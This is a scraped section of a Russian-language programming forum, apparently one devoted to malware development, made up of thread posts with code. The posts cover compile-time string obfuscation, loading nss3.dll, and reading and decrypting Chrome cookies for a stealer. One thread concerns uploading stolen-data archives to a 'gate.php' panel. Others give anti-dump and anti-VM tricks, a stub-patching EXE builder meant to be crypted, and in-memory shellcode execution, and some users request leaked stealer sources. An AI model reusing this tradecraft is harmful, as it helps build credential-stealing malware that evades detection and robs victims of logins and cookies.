Ну что же, выглядит неплохо. Теперь давайте переходить к заключению. Многие после прочтения данной статьи скажут, мол это всё – теребоньканье на плюсовый компилятор, всё это можно было бы легче сделать внешней тулзой, обфускатором каким-нибудь или навесить упаковщик/протектор. И я вам отвечу: да, вы абсолютно правы.

Чисто теоретически на базе этого кода можно реализовать полноценный обфускатор, практичность этого – весьма спорный вопрос. Кому-то покажется очень удобным обфусцировать код с помощью мета-программирования, а не копаться в парсерах С++ или более низкоуровневых представлениях кода, таких как LLVM. Кому-то окажется проще написать внешний обфускатор и не бороться с ограничениями убогово плюсового мета-программирования. Ну каждому своё, я просто хотел донести до вас интересную на мой взгляд тему для изучения, как минимум я многое узнал о плюсах копаясь в мета-программировании в далеком 2013 году.

Ну и последнее, весь приведенный код работает в сферическом вакууме, то есть на моем компьютере, с указанной версией компилятора, указанными флагами компилятора и тд. Так что если вдруг вы решите делать что-либо на базе этого кода, пожалуйста не забудьте хорошо всё протестировать. Спасибо за ваше внимание и всего вам хорошего!

ЗЫ И вот полный код, если кто-то запутался в словах статьи:

C++:Copy to clipboard

Код (C++):

#include <windows.h>
#include <stdint.h>
#include <stdio.h>

#define LOG(F, ...) _printf_l(F, 0, ##__VA_ARGS__)

template <uint32_t Const> struct Constantify {
    enum { Value = Const };
};

constexpr uint32_t FNVHash(const char* string, uint32_t seed = 0) {
    uint32_t res = seed;
    for(int i = 0; string[i] != '\0'; i++) {
        res = res * 16777619;
        res = res ^ string[i];
    }

    return res;
}

#define FNVHASH0(STR) Constantify<FNVHash(STR)>::Value

#define GET_COMPILE_SEED Constantify<FNVHash(__DATE__ __TIME__)>::Value

#define FNVHASH(STR) Constantify<FNVHash(STR, GET_COMPILE_SEED)>::Value

constexpr uint32_t Rand(uint32_t cnt) {
    cnt = cnt + GET_COMPILE_SEED;
    return cnt * 1103515245 + 12345;
}

#define RAND() Constantify<Rand(__COUNTER__)>::Value
#define RANDOM(MIN, MAX) (MIN + (RAND() % (MAX - MIN + 1)))

constexpr uint32_t Strlen(const char* string) {
    uint32_t res = 0;
    for(int i = 0; string[i] != '\0'; i++)
    { res++; }

    return res;
}

#define STRLEN(STR) Constantify<Strlen(STR)>::Value

#define ALWAYS_INLINE __attribute__((always_inline))

template <size_t Index> struct Encryptor {
    ALWAYS_INLINE static constexpr void Encrypt(char* dst, const char* src, char key)
    { dst[Index] = src[Index] ^ key; Encryptor<Index - 1>::Encrypt(dst, src, key); }
};

template <> struct Encryptor<0> {
    ALWAYS_INLINE static constexpr void Encrypt(char* dst, const char* src, char key)
    { dst[0] = src[0] ^ key; }
};

template <size_t Size> class EncryptedString {
    mutable char _buffer[Size];
    const   char _key;

    public:
        ALWAYS_INLINE constexpr EncryptedString(const char string[Size], char key) : _key { key }
        { Encryptor<Size - 1>::Encrypt(_buffer, string, _key); }

        ALWAYS_INLINE const char* Decrypt() {
            for(int i = 0; i < Size; i++)
            { _buffer[i] ^= _key; }

            return _buffer;
        }
};

#define ENCRYPT_STRING(STR) EncryptedString<STRLEN(STR) + 1>(STR, (char)RANDOM(1, 0xFF)).Decrypt()

extern "C" void EntryPoint() {
    LOG("%s\n", ENCRYPT_STRING("HELLO"));
    ExitProcess(0);
}

Источник: https://wasm.in/blogs/meta-programmirovanie-s-i-obfuskacija.703/
Автор: Rel

nss3.dll
ID: 6765d804b4103b69df375a55
Thread ID: 38218
Created: 2020-06-07T19:21:54+0000
Last Post: 2020-06-09T08:41:09+0000
Author: return
Replies: 15 Views: 2K

C++:Copy to clipboard

HMODULE loadLibrary(string installationPath) {
    const char nssLibraryName[] = "nss3.dll";
    SetCurrentDirectory(installationPath.c_str());  

    HMODULE nssLib = LoadLibrary(nssLibraryName);  
    if (nssLib == NULL) {  
        printf("Library couldnt loaded!.. %d\n", GetLastError());
    }
    return    nssLib;  
}

библиотека не подключается:( help

Морферы на уровне исходного кода.
ID: 6765d804b4103b69df375a56
Thread ID: 38172
Created: 2020-06-06T10:24:12+0000
Last Post: 2020-06-08T10:50:53+0000
Author: TDL
Replies: 5 Views: 2K

Всем привет. Заинтересовали морферы на уровне сорцов, но в продакшене ничего умного, кроме как разбития символов/чисел на множество значений и мелочного преобразования циклов - я не нашел. Ни у кого нет исходников подобного?

Пишут ли малварь на Kotlin ?
ID: 6765d804b4103b69df375a59
Thread ID: 37867
Created: 2020-05-29T02:49:13+0000
Last Post: 2020-06-05T18:53:54+0000
Author: DeiTy
Replies: 6 Views: 2K

Пишут ли малварь на Kotlin ?
Если да то можете скинуть пример
Те жи андроид боты
Если нет то почему ?

Можете перенести в болталку

Куки хрома , secure и flag
ID: 6765d804b4103b69df375a5a
Thread ID: 37974
Created: 2020-06-01T13:41:17+0000
Last Post: 2020-06-01T18:41:29+0000
Author: DeiTy
Replies: 8 Views: 2K

Hidden content for authorized users.

Вообщем , читаю файл куки

C#:Copy to clipboard

cSQLite sSQLite = new cSQLite(tempCookieLocation);
sSQLite.ReadTable("cookies");

Вот так достаю всё что нужно

C#:Copy to clipboard

string value = sSQLite.GetValue(i, 12);
string hostKey = sSQLite.GetValue(i, 1);
string name = sSQLite.GetValue(i, 2);
string path = sSQLite.GetValue(i, 4);
string expires = sSQLite.GetValue(i, 5);
string isSecure = sSQLite.GetValue(i, 6);

Разумеется расшифровываю value и всё такое но вопрос не в этом .
Как мне достать secure и flag ?
Мой

C#:Copy to clipboard

string isSecure = sSQLite.GetValue(i, 6);

всегда возвращает 0 (те как я понимаю false) что не есть хорошо .
А как получить flag я вообще понять не могу .
Уже весь гугл перерыл

[CLR C#] №1
ID: 6765d804b4103b69df375a5e
Thread ID: 37332
Created: 2020-05-14T20:34:05+0000
Last Post: 2020-05-20T01:18:04+0000
Author: dvlpr
Prefix: Статья
Replies: 6 Views: 2K

CLR - Common Language Runtime или общеязыковая среда выполнения.
CLR занимается управлением памятью, загрузкой сборок, безопасностью, обработкой исключений, синхронизацией. CLR все равно, на каком языке ты написал свой код, главное, чтобы твой компилятор поддерживал CLR. Данный фокус достигается тем, что компиляторы под CLR генерируют твой код в IL (управляемый / manage) код , чтобы в дальнейшем сгенерировать машинные команды. Важно знать, что IL является стековым языком, все инструкции заносят операнды в исполнительный стек и извлекают результаты из стека. Большим плюсом IL кода является его верификация - проверка кода IL и всех его операций, это гарант того, что код не будет обращаться к чужому участку памяти.
Каждый компилятор помимо IL кода, также создает полные метаданные(metadata) для каждого управляемого модуля. Проще говоря, метаданные — это набор таблиц данных, описывающих то, что определено в модуле, например типы и их члены.
Что касается управляемого кода, то только С++ позволяет разработчику создавать неуправляемый и управляемый код, встраивая их в единый модуль.

Модель выполнения кода в среде CLR:
1589485663536.png

Если говорить прямо, то CLR работает не с модулями, а со сборками (assembly). Сборка - абстрактное понятие группировки одного/нескольких управляемых модулей или файлов. Если в проекте есть зависимости, тогда сборка содержит в себе сведения о других сборках, таким образом, сборка становится самоописываемой (self-describing). Каждая сборка представляет собой исполняемое приложение или библиотеку DLL, содержащую набор типов для использования в исполняемом приложении.

Объединение управляемых модулей в сборку:
1589486292108.png

Для выполнения какого либо метода, IL-код должен быть преобразован в машинную команду. Такой работой занимается JIT-компилятор (Just-In-Time) среды CLR.
Как работает JIT?
Когда программа в ходе выполнения обращается к методу, тогда вызывается функция JITCompiler. JITCompiler известен вызываемый метод и его тип, он находит в метаданных IL-код вызываемого метода, проверяет его и компилирует в машинные команды, которые сохраняются в выделенном блоке памяти, адрес на данный блок памяти JITCompiler подставляет вместо адреса вызываемого метода во внутренних данных самого типа и передает управление коду в текущем блоке памяти. Важно понимать, что первый вызов метода является самым медленным, потому что повторной верификации и компиляции кода не производится.**JIT- компилятор хранит машинные команды в динамической памяти, а это значит, что скомпилированный код уничтожается при завершении работы приложения!

Структура работы при вызове метода:**
1589486941186.png

" CLR via C#" Джеффри Рихтер - электронную версию книги можно получить у меня.
Спасибо за внимание.

С# отправка архива на гейт
ID: 6765d804b4103b69df375a61
Thread ID: 37160
Created: 2020-05-08T13:41:15+0000
Last Post: 2020-05-13T13:59:02+0000
Author: jyucuken
Replies: 15 Views: 2K

Заметил что часто просто не отправляется архив на гейт. на примере локи
идет функция uploadfile, в адресе gate.php?hwid=dfasdf&psw=10&cookie=20...
Смотрю по логам на сервере - на гейт ип ломится, но лог не появляется. больше отладить не смог, потому что не видно какой ав, мб фаерволл рубит. zip архив со всем нужным лежит по нужному адресу.
Как лучше делать отправку в таком случае? Обязательно ли все менять? чтобы не слало в адресной строке hwid pws etc.
Может как то шифровать зип и расшифровывать на гейте? если да, то как лучше это сделать?

[C#] AntiDumpers - Защита от дампа
ID: 6765d804b4103b69df375a62
Thread ID: 37175
Created: 2020-05-08T23:21:10+0000
Last Post: 2020-05-13T06:43:59+0000
Author: r3xq1
Replies: 4 Views: 2K

Для начала создаём класс SafeNativeMethods.cs
Запишем в него импорт VirtualProtect из библиотеки kernel32.dll

C#:Copy to clipboard

namespace DarkScript
{
    using System.Runtime.InteropServices;

    internal static class SafeNativeMethods
    {
        [DllImport("kernel32.dll")]
        public static extern unsafe bool VirtualProtect(byte* lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect);
    }
}

Далее создадим класс Protect.cs и запишем в него данный код:

C#:Copy to clipboard

namespace DarkScript
{
    using System;
    using System.Runtime.InteropServices;

    internal static class Protect
    {
        public static unsafe void Initialize()
        {
            byte* ptr = (byte*)(void*)Marshal.GetHINSTANCE(typeof(Protect).Module);
            byte* ptr2 = ptr + 60;
            ptr2 = ptr + *(uint*)ptr2;
            ptr2 += 6;
            ushort num = *(ushort*)ptr2;
            ptr2 += 14;
            ushort num2 = *(ushort*)ptr2;
            ptr2 = ptr2 + 4 + num2;
            SafeNativeMethods.VirtualProtect(ptr2 - 16, 8, 64U, out uint num3);
            *(int*)(ptr2 - 12) = 0;
            byte* ptr3 = ptr + *(uint*)(ptr2 - 16);
            *(int*)(ptr2 - 16) = 0;
            SafeNativeMethods.VirtualProtect(ptr3, 72, 64U, out num3);
            byte* ptr4 = ptr + *(uint*)(ptr3 + 8);
            *(int*)ptr3 = 0;
            *(int*)(ptr3 + 4) = 0;
            *(int*)(ptr3 + 8) = 0;
            *(int*)(ptr3 + 12) = 0;
            SafeNativeMethods.VirtualProtect(ptr4, 4, 64U, out num3);
            *(int*)ptr4 = 0;
            for (int i = 0; i < num; i++)
            {
                SafeNativeMethods.VirtualProtect(ptr2, 8, 64U, out num3);
                Marshal.Copy(new byte[8], 0, (IntPtr)(void*)ptr2, 8);
                ptr2 += 40;
            }
        }
    }
}

Далее просто вызываем метод Initialize() из класса Protect.cs

C#:Copy to clipboard

Protect.Initialize();

При попытке сдампить приложение, ничего не получаем)

AntiDump.png

vmprotect .net
ID: 6765d804b4103b69df375a64
Thread ID: 37042
Created: 2020-05-04T21:17:11+0000
Last Post: 2020-05-08T19:40:00+0000
Author: уруру
Replies: 2 Views: 2K

Есть у кого? .net нормально виртуализирует, кто то пользовался?

[ VMProtect Software Protection » Buy Online

](https://vmpsoft.com/purchase/buy-online/)

![vmpsoft.com](/proxy.php?image=https%3A%2F%2Fvmpsoft.com%2Fwp- content%2Fthemes%2Fvmp%2Ffavicon.ico&hash=e754a2c8ee935561821f62c0c76089f9&return_error=1) vmpsoft.com

del
ID: 6765d804b4103b69df375a65
Thread ID: 36305
Created: 2020-04-13T11:38:22+0000
Last Post: 2020-05-08T05:31:32+0000
Author: n1ppyyyy
Replies: 5 Views: 2K

del

Исходники стилера на шарпе
ID: 6765d804b4103b69df375a66
Thread ID: 37037
Created: 2020-05-04T19:06:28+0000
Last Post: 2020-05-05T17:23:21+0000
Author: hwndrer
Replies: 4 Views: 2K

Есть какие-то исходники каких-то стиллеров слитых мб с помощью которых можно ознакомиться с кодом стилера на шарпе, чтобы вообще понять чо писать надо?

помочь с проверкой
ID: 6765d804b4103b69df375a69
Thread ID: 35547
Created: 2020-03-17T16:31:17+0000
Last Post: 2020-05-05T11:41:44+0000
Author: g4lyfe
Replies: 7 Views: 2K

You must have at least 5 reaction(s) to view the content.

Атозагрузка exe и Антивм на c++
ID: 6765d804b4103b69df375a6c
Thread ID: 36928
Created: 2020-04-30T22:57:33+0000
Last Post: 2020-05-03T05:15:53+0000
Author: Firewoll
Replies: 10 Views: 2K

Парни,очень нужна помощь в автозапуске exe и анти вм на языке c++ в инете нечего толком не нарыл,а то и есть на то антивирусы ругаются,кто умеет прошу помочь.

Вопрос про Java изучение
ID: 6765d804b4103b69df375a6e
Thread ID: 36060
Created: 2020-04-03T20:30:40+0000
Last Post: 2020-04-30T18:01:34+0000
Author: Project26
Replies: 6 Views: 2K

Подскажите, с какой литературы начать Java

C | Как получить адрес памяти, по которому загружена программа?
ID: 6765d804b4103b69df375a74
Thread ID: 36109
Created: 2020-04-05T21:40:32+0000
Last Post: 2020-04-07T17:09:36+0000
Author: Naraku
Replies: 6 Views: 2K

Собственно, вопрос в шапке. В PEB увидел поле ImageBaseAddress, попытался цепануть оттуда, но там совсем дичь записана, сильно отличающаяся от реального адреса. Все это проверял через отладчик, наблюдая, куда грузится программа.

как динамически подгружать CRT в MVS?
ID: 6765d804b4103b69df375a78
Thread ID: 34917
Created: 2020-02-12T15:03:43+0000
Last Post: 2020-04-02T15:13:37+0000
Author: favour_master
Replies: 10 Views: 2K

вопрос в шапке, как заставить C++ программу динамически линковать библу CRT?
Без ссылок, в гугле искал, ничего толкового не нашел.

EXE Builder на C++(бинарный патч)
ID: 6765d804b4103b69df375a7a
Thread ID: 35978
Created: 2020-04-02T10:07:18+0000
Last Post: 2020-04-02T10:07:18+0000
Author: c0d3r_0f_shr0d13ng3r
Prefix: Статья
Replies: 0 Views: 2K

Целью данной статьи является показать, как работает простейшийEXE Builder на основе бинарного патча.Я решилне добавлять стаб в ресурсы билдера , при желании вы можете сами это сделать.Для примера мы сделаем простейший MessageBox Builder.Данный способ является одним из самых примитивных, однако конечные EXE подлежат крипту.

Минусы данного способа:

  • Ограничение ввода.
  • Невозможность использования конфигов(типа Zeus-овских).
  • Вводимые данные не должны содержать пробелов.

Для начала создадим стаб и оптимизируем его.
Код стаба:

Code:Copy to clipboard

#include <Windows.h>

//Это заглушки , они нам понадобятся потом...
LPCSTR pszCaption = "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH";
LPCSTR pszMessage = "GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG";

VOID WINAPI Entry(VOID) {

    MessageBoxA(NULL, pszMessage, pszCaption, MB_OK);
    ExitProcess(EXIT_SUCCESS);

}

Теперь скомпилируем стаб и откроем его в HEX редакторе.Нам необходимо найти pszCaption и pszMessage заполнить нулями.

1585820934595.png

Теперь запомним смещение(нам надо будет его сохранить, оно понадобится при создании билдера):

1585820973435.png

Аналогичные действия проделываем с pszMessage и сохраняем.

Теперь приступим к написанию билдера.

Code:Copy to clipboard

#include <iostream>
#include <Windows.h>

using namespace std;


int main()
{

    SetConsoleTitle("Example EXE Builder.");

    //Выделяем память и запрашиваем ввод
    LPSTR pszCaption = (LPSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 100);
    LPSTR pszMessage = (LPSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 100);
    

    cout << "Caption: "; 
    cin >> pszCaption;

    cout << "Message: ";
    cin >> pszMessage;

    if (!pszCaption || !pszMessage)
        ExitProcess(EXIT_FAILURE);

        
    DWORD dwWritten = 0;

    //Копируем стаб
    if (!CopyFile("Stub.exe", "Builded.exe", FALSE))
        ExitProcess(EXIT_FAILURE);

    //Открываем файл для записи 
    HANDLE hFile = CreateFileA("Builded.exe", GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE)
        ExitProcess(EXIT_FAILURE);

    /*

        Смещения:
            -Caption: 0x610
            -Message: 0x678

    */

    //Спускаемся по смещениям и записываем данные 

    SetFilePointer(hFile, 0x610, 0, FILE_BEGIN);
    WriteFile(hFile, pszCaption, lstrlen(pszCaption), &dwWritten, NULL);

    SetFilePointer(hFile, 0x678, 0, FILE_BEGIN);
    WriteFile(hFile, pszMessage, lstrlen(pszMessage), &dwWritten, NULL);

    //Закрываем хэндл и осводождаем память. 

    std::cout << "Result saved as Builded.exe\n";
    std::cin.get();

    CloseHandle(hFile);

    HeapFree(GetProcessHeap(), NULL, pszCaption);
    HeapFree(GetProcessHeap(), NULL, pszMessage);

}

Скомпилируем билдер , скинем ранее подготовленный стаб в папку с билдером и протестируем.

1585821870052.png

Ну вот собственна и все)

Content-Lenght WinInet
ID: 6765d804b4103b69df375a7b
Thread ID: 35935
Created: 2020-04-01T10:24:00+0000
Last Post: 2020-04-01T13:11:14+0000
Author: Jeffs
Replies: 4 Views: 2K

В общем пытаюсь получить Content-Lenght таким образом:

C:Copy to clipboard

DWORD GetContentSize(HINTERNET requesthandle)
{
    DWORD content_length = 0;
    DWORD content_lengt_size = sizeof(DWORD);

    if (!HttpQueryInfoW(requesthandle, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &content_length, &content_lengt_size, NULL)) {
        return 0;
    }

    return content_length;
}

Шлю GET-запрос на сервер:

C:Copy to clipboard

DWORD GetRequest(LPCWSTR host, BOOL isSsl, LPCWSTR req, DWORD* responseSize, LPWSTR response)
{
    HINTERNET hInternet = NULL, hConnect = NULL, hRequest = NULL;

    hInternet = InternetOpenW(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);

    if (hInternet == NULL)
    {
        return INVALID_INTERNET_SESSION;
    }

    hConnect = InternetConnectW(hInternet, host, isSsl ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);

    if (hConnect == NULL)
    {
        InternetCloseHandle(hInternet);

        return INTERNET_CONNECT_ERROR;
    }

    hRequest = HttpOpenRequestW(hConnect, L"GET", req, NULL, NULL, NULL, isSsl ? INTERNET_FLAG_SECURE : INTERNET_FLAG_KEEP_CONNECTION, 0);

    if (hRequest == NULL)
    {
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);

        return INVALID_REQUEST;
    }

    if (!HttpSendRequestW(hRequest, NULL, 0, NULL, 0))
    {
        InternetCloseHandle(hRequest);
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);

        return SEND_REQ_ERROR;
    }

    *responseSize = GetContentSize(hRequest);

    LPVOID buff = calloc(*responseSize, sizeof(wchar_t));

    DWORD dwByteRead;
    InternetReadFile(hRequest, buff, dataSize, &dwByteRead);

    ASCIIToUnicode((char*)buff, response);
    free(buff);

    InternetCloseHandle(hRequest);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);

    return 0;
}

error = GetRequest(L"127.0.0.1", FALSE, L"/hello/", &responseSize, serverResponse);

Ответ сервера:

Но по итогу responseSize равен 0. С чем это может быть связано? Или как реализовать получение Content-Lenght правильно?

Почищу ваши исходники | C (НЕ C++!!!)
ID: 6765d804b4103b69df375a80
Thread ID: 35154
Created: 2020-02-24T08:13:32+0000
Last Post: 2020-03-16T07:58:43+0000
Author: Jeffs
Replies: 3 Views: 2K

Тестирую морфер.
Исходники кидайте под хайд, желательно сразу проектом VS.

C | Как получить адрес WinApi функции
ID: 6765d804b4103b69df375a84
Thread ID: 35381
Created: 2020-03-06T11:58:18+0000
Last Post: 2020-03-06T22:13:23+0000
Author: Naraku
Replies: 7 Views: 2K

Пытаюсь записать код в память и динамически его выполнить. Сам shell: \x55\x89\xE5\xB8\x20\x00\x00\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\xE8\xFC\xFF\xFF\xFF\x89\xEC\x5D\xC3

Spoiler: disasm

Code:Copy to clipboard

push ebp
mov ebp, esp
mov eax, 0x20
push 0x0
push 0x00000000
push 0x00000000
push 0x0
call 0x00000000
mov esp, ebp
pop ebp
ret

Четыре байта с 23й позиции нужно заменить на адрес функции MessageBoxA. Пытаюсь сделать следующим образом:

C:Copy to clipboard

#include <stdio.h>
#include <Windows.h>

typedef int(__stdcall *myfunc)(void);

int main()
{
    printf("Push <enter> for run shell code\n");
    system("pause");
    byte shell[31] = { 0x55, 0x89, 0xE5, 0xB8, 0x20, 0x00, 0x00, 0x00, 0x6A, 0x00, 0x68, 0x00, 0x00, 0x00, //12 13 14 15
        0x00, 0x68, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x00, 0xE8, 0x75, 0xAA, 0x27, 0x30, 0x89, 0xEC, 0x5D, 0xC3 }; //17 18 19 20
    //byte shell[] = { 0x55, 0x89, 0xE5, 0xB8, 0x20, 0x00, 0x00, 0x00, 0x89, 0xEC, 0x5D, 0xC3 };
    char* text = new char[10] { "Test ebat" };
    char* title = new char[6] { "title" };

    LPVOID lpBaseShell = malloc(sizeof(shell));
    if (lpBaseShell)
    {
        memcpy(shell + 11, &title, 4);
        memcpy(shell + 16, &text, 4);

        DWORD dwOldProtect;
        VirtualProtectEx(GetCurrentProcess(), lpBaseShell, sizeof(shell), PAGE_EXECUTE_READWRITE, &dwOldProtect);

        HMODULE hUserDLL = LoadLibrary(L"User32.dll");
        if (hUserDLL)
        {
            LPVOID lpMsgBox = (LPVOID)GetProcAddress(hUserDLL, "MessageBoxA");
            memcpy(shell + 23, lpMsgBox, 4);

            SIZE_T writtenBytes;
            WriteProcessMemory(GetCurrentProcess(), lpBaseShell, shell, sizeof(shell), &writtenBytes);
           
            myfunc mf = (myfunc)lpBaseShell;
            int rez = mf();
        }

        free(lpBaseShell);
    }

    system("pause");
    return 0;
}

Но при таком подходе выкидывает "нарушение прав доступа при исполнении по адресу ". Что, собственно, делаю не так?

UPD: Заголовок не совсем корректно сделал

Парсинг Ldr
ID: 6765d804b4103b69df375a85
Thread ID: 35278
Created: 2020-03-01T12:01:55+0000
Last Post: 2020-03-01T13:36:40+0000
Author: Lawsons
Replies: 4 Views: 2K

Привет всем. Пытаюсь распарсить Ldr следующим образом:

C:Copy to clipboard

typedef struct _UNICODE_STRING
{
    WORD Length;
    WORD MaximumLength;
    WORD* Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    ULONG Flags;
    WORD LoadCount;
    WORD TlsIndex;
    union
    {
        LIST_ENTRY HashLinks;
        struct
        {
            PVOID SectionPointer;
            ULONG CheckSum;
        };
    };
    union
    {
        ULONG TimeDateStamp;
        PVOID LoadedImports;
    };
    _ACTIVATION_CONTEXT* EntryPointActivationContext;
    PVOID PatchInformation;
    LIST_ENTRY ForwarderLinks;
    LIST_ENTRY ServiceTagLinks;
    LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

typedef struct _PEB_LDR_DATA
{
    ULONG Length;
    UCHAR Initialized;
    PVOID SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
    PVOID EntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

typedef struct _PEB
{
    UCHAR InheritedAddressSpace;
    UCHAR ReadImageFileExecOptions;
    UCHAR BeingDebugged;
    UCHAR BitField;
    ULONG ImageUsesLargePages : 1;
    ULONG IsProtectedProcess : 1;
    ULONG IsLegacyProcess : 1;
    ULONG IsImageDynamicallyRelocated : 1;
    ULONG SpareBits : 4;
    PVOID Mutant;
    PVOID ImageBaseAddress;
    PPEB_LDR_DATA Ldr;
} PEB, * PPEB;


void main()
{
    PPEB pPEB = (PPEB)__readfsdword(0x30);

    PPEB_LDR_DATA pPEB_LDR_DATA = pPEB->Ldr;
    PLIST_ENTRY pListEntry = (PLIST_ENTRY)(pPEB_LDR_DATA->InMemoryOrderModuleList.Flink);
    PLDR_DATA_TABLE_ENTRY pLdrTableEntry = (PLDR_DATA_TABLE_ENTRY)pListEntry;

    do
    {
        if (lstrcmpiW((LPCWSTR)pLdrTableEntry->FullDllName.Buffer, L"kernel32.dll") == 0)
        {
            typedef void(WINAPI* xSleep)(DWORD);
            xSleep pSleep = (xSleep)GetProcAddress((HMODULE)pLdrTableEntry->DllBase, "Sleep");

            if (pSleep)
            {
                MessageBoxW(0, L"Found.", 0, MB_OK);
            }
            else
            {
                MessageBoxW(0, L"Not found.", 0, MB_OK);
            }
        }
        pListEntry = pListEntry->Flink;
        pLdrTableEntry = (PLDR_DATA_TABLE_ENTRY)(pListEntry->Flink);
    } while (pLdrTableEntry->FullDllName.Buffer != NULL);
}

Но ловлю краш на моменте обращения к FullDllName. Подскажите пожалуйста, в чем проблема.

LSP: Почему не работает с службами windows 10?
ID: 6765d804b4103b69df375a88
Thread ID: 35044
Created: 2020-02-18T17:59:43+0000
Last Post: 2020-02-20T14:00:59+0000
Author: a487a5a
Replies: 2 Views: 2K

Доброго времени суток. Из исходников msdn собрал свой firewall по технологии LSP(Layered Service Provider). Тестил на win 7 (x32,x64) - всё работает прекрасно. Даже системные процессы захватывает, такие как lsass.exe, [System]. Проблемы начались когда тесты перешли на win 10. Библиотека перестала работать с службами windows, только подхватывается обычными процессами(браузеры, игры).
После повторного, долгого и тщательного изучения документации выяснил следующее:

On Windows Vista and later, an LSP can be classified based on how it interacts with Windows Sockets calls and data. An LSP category is an identifiable group of behaviors on a subset of Winsock SPI functions. For example, an HTTP content filter would be categorized as a data inspector (the LSP_INSPECTOR category).
An LSP may belong to more than one category. For example, a firewall/security LSP could belong to both the inspector (LSP_INSPECTOR) and firewall (LSP_FIREWALL) categories.
If an LSP does not have a category set, it is considered to be in the All Other category. This LSP category will not be loaded in services or system processes (for example, lsass, winlogon, and many svchost processes).

Источник: [https://docs.microsoft.com/en-us/wi...ng-layered-service-providers- and-applications](https://docs.microsoft.com/en- us/windows/win32/winsock/categorizing-layered-service-providers-and- applications)
Чтобы заставить библиотеку работать с системными службами(services), я добавил следующий код в инсталляторе(после вызова WSCInstallProviderAndChains):

Code:Copy to clipboard

DWORD lspCategory = 0xFFFFFFFF;
       // DWORD lspCategory = LSP_SYSTEM | LSP_FIREWALL | LSP_INSPECTOR; // | LSP_REDIRECTOR | LSP_PROXY | ;
            //| LSP_INBOUND_MODIFY | LSP_OUTBOUND_MODIFY | LSP_CRYPTO_COMPRESS; // | LSP_LOCAL_CACHE;

        fprintf(stderr, "category: %d \n", lspCategory);
        fprintf(stderr, "sizeof: %zd  \n", sizeof(lspCategory));
        rc = WSCSetProviderInfo(providerGuid, ProviderInfoLspCategories, (PBYTE)&lspCategory, sizeof(lspCategory), NULL, &error);
        if (rc == SOCKET_ERROR) {
            fprintf(stderr, "InstallProviderVista: %s failed: %d\n",
                "WSCSetProviderInfo32", error);
            goto cleanup;
        }

Я пробовал значение lspCategory менять на LSP_SYSTEM, LSP_FIREWALL... на 0xFFFFFFFF. Пробовал просто оставить NULL. Но, увы мои попытки не увенчались успехом. Прошу помощи у тех, кто может разбирался в этом и знает в чем проблема?

[Вопрос] C# Как работать с MFT?
ID: 6765d804b4103b69df375a89
Thread ID: 35052
Created: 2020-02-19T13:10:08+0000
Last Post: 2020-02-19T13:10:08+0000
Author: Guron_18
Replies: 0 Views: 2K

Доброго времени суток.
Хотел бы узнать как работать с MFT. Конкретнее интересует как найти расположение файлов на кластерах?
Как работает recuva или rstudio? Как он находит расположение файлов?

Хотел бы увидеть элементарный пример C# как найти файл на диске...

C++ IDE
ID: 6765d804b4103b69df375a8a
Thread ID: 34966
Created: 2020-02-14T20:31:44+0000
Last Post: 2020-02-15T18:08:12+0000
Author: Antrax
Replies: 6 Views: 2K

Which IDE do you use for C ++? especially in writing malware

Как дебажить без c++ exceptions, SEH, CRT?
ID: 6765d804b4103b69df375a8e
Thread ID: 34787
Created: 2020-02-04T19:40:06+0000
Last Post: 2020-02-05T12:39:16+0000
Author: salsa20
Replies: 15 Views: 2K

Вопрос возник такой.

Поможет кто ответом?

Оптимизатор студии
ID: 6765d804b4103b69df375a8f
Thread ID: 34715
Created: 2020-01-31T17:03:47+0000
Last Post: 2020-02-04T22:34:48+0000
Author: PlebsoVata
Replies: 6 Views: 2K

Сегодня случайно обнаружил следующую фишку студии, что при оптимизациях она сама вставляет в некоторых случаях функцию _memset.
Проект самый обычный, в котором выключен весь CRT, но оптимизатор студии из-за этого как раз и не дает скомпилировать нашу программку.
Причем для этого достаточно такого кода:

C++:Copy to clipboard

int SomeFunc()
{
    char* some_chars = (char*)HeapAlloc(GetProcessHeap(), 0, 1024);

    for (int i = 0; i < 1024; ++i)
        some_chars[i] = 0;

    return some_chars[10];
}

При /Od все впорядке, но при /O1 или /O2 линкер будет жаловаться, что не находит _memset, можно ли как-то это пофиксить, чтобы оставить уровень оптимизации на /O1 или /O2, но выключить конкретно эту оптимизацию через _memset.

Можно конечно статически слинковать, но хотелось бы без этого или все-таки студия сама окончательно погрязла в CRT?
#pragma comment(lib, "libvcruntime.lib")

Может кто знает, есть ли еще подобные подводные камни в студии?

Минимальная версия винды на которой запустится exe?
ID: 6765d804b4103b69df375a90
Thread ID: 34653
Created: 2020-01-28T11:47:49+0000
Last Post: 2020-01-29T21:38:25+0000
Author: PlebsoVata
Replies: 6 Views: 2K

